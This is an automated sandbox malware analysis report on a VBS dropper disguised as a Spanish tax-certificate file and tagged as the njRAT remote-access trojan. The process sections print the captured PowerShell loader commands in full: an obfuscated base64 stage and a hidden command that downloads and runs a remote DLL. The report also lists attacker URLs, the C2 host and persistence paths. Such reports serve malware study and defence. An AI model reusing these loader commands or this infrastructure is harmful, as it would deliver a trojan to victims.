Malware Analysis Report

2025-06-16 06:50

Sample ID 221011-yxwzkacdd9
Target 0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información proporcionada, corresponde regularizarla presentando la declaración.vbs
SHA256 7310fb74edb1596430ef2e68fd3d339df540ae79e78d74895697ac81a1533204
Tags
njrat nyan cat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7310fb74edb1596430ef2e68fd3d339df540ae79e78d74895697ac81a1533204

Threat Level: Known bad

The file 0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información proporcionada, corresponde regularizarla presentando la declaración.vbs was found to be: Known bad.

Malicious Activity Summary

njrat nyan cat trojan

njRAT/Bladabindi

Blocklisted process makes network request

Drops startup file

Checks computer location settings

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-10-11 20:10

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2022-10-11 20:10

Reported

2022-10-11 20:13

Platform

win10v2004-20220812-en

Max time kernel

177s

Max time network

179s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"

Signatures

njRAT/Bladabindi

trojan njrat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$%&\567R$%RTuy#dtyhtyf5667.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2132 set thread context of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4468 wrote to memory of 32 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4468 wrote to memory of 32 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 32 wrote to memory of 2132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 32 wrote to memory of 2132 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
PID 2132 wrote to memory of 852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gAkAC⌚⌚⌚A⌚⌚⌚gB⌚⌚⌚AH⌚⌚⌚AeQAiACMAZAB0AHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R$%RTuy"#dtyhtyf5667' ))"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Network

Country Destination Domain Proto
US 93.184.220.29:80 tcp
US 52.168.112.66:443 tcp
US 8.252.51.254:80 tcp
US 8.8.8.8:53 tinyurl.com udp
US 104.20.139.65:443 tinyurl.com tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.133.233:443 cdn.discordapp.com tcp
RU 91.213.50.74:80 91.213.50.74 tcp
NL 104.80.225.205:443 tcp
US 8.8.8.8:53 nyas22.duckdns.org udp
US 64.44.167.136:57831 nyas22.duckdns.org tcp
US 8.8.8.8:53 96.108.152.52.in-addr.arpa udp

Files

memory/32-132-0x0000000000000000-mapping.dmp

memory/32-133-0x000001FB91040000-0x000001FB91062000-memory.dmp

memory/2132-134-0x0000000000000000-mapping.dmp

memory/32-135-0x00007FFF7BB80000-0x00007FFF7C641000-memory.dmp

memory/2132-136-0x00007FFF7BB80000-0x00007FFF7C641000-memory.dmp

memory/852-137-0x0000000000400000-0x000000000040C000-memory.dmp

memory/852-138-0x000000000040675E-mapping.dmp

memory/2132-139-0x00007FFF7BB80000-0x00007FFF7C641000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/32-142-0x00007FFF7BB80000-0x00007FFF7C641000-memory.dmp

memory/852-143-0x0000000005640000-0x00000000056DC000-memory.dmp

memory/852-144-0x0000000005D30000-0x00000000062D4000-memory.dmp

memory/852-145-0x00000000058B0000-0x0000000005942000-memory.dmp

memory/852-146-0x0000000005870000-0x000000000587A000-memory.dmp

memory/852-147-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2022-10-11 20:10

Reported

2022-10-11 20:13

Platform

win7-20220812-en

Max time kernel

36s

Max time network

62s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gAkAC⌚⌚⌚A⌚⌚⌚gB⌚⌚⌚AH⌚⌚⌚AeQAiACMAZAB0AHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0025632547_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R$%RTuy"#dtyhtyf5667' ))"

Network

Country Destination Domain Proto
US 8.8.8.8:53 tinyurl.com udp
US 104.20.138.65:443 tinyurl.com tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 162.159.133.233:443 cdn.discordapp.com tcp

Files

memory/1652-54-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp

memory/1176-55-0x0000000000000000-mapping.dmp

memory/1176-57-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

memory/1176-58-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

memory/1176-59-0x000000001B800000-0x000000001BAFF000-memory.dmp

memory/1676-60-0x0000000000000000-mapping.dmp

memory/1176-62-0x0000000002654000-0x0000000002657000-memory.dmp

memory/1176-63-0x000000000265B000-0x000000000267A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1fef7009d5d130fb62d87ea1b2434ddc
SHA1 3e8a7ad98f59a2b442f199791e91025eb5068791
SHA256 cff066fb046b01c28610246655a1e04d662c7210462bb7b762c57480b02883d0
SHA512 afd3727da06bb671c2561889329aeeaedd13e8f898dafbae2389a58d4c0514ba54cbd244eb540cdede041ba36f76680d3d6e11202616ab8867b672ab8af38bfd

memory/1676-65-0x000007FEF4940000-0x000007FEF5363000-memory.dmp

memory/1676-66-0x000007FEF3DE0000-0x000007FEF493D000-memory.dmp

memory/1676-67-0x0000000002584000-0x0000000002587000-memory.dmp

memory/1676-68-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

memory/1676-69-0x000000000258B000-0x00000000025AA000-memory.dmp

memory/1676-70-0x0000000002584000-0x0000000002587000-memory.dmp

memory/1676-71-0x0000000002584000-0x0000000002587000-memory.dmp

memory/1676-72-0x000000000258B000-0x00000000025AA000-memory.dmp

memory/1176-73-0x000000000265B000-0x000000000267A000-memory.dmp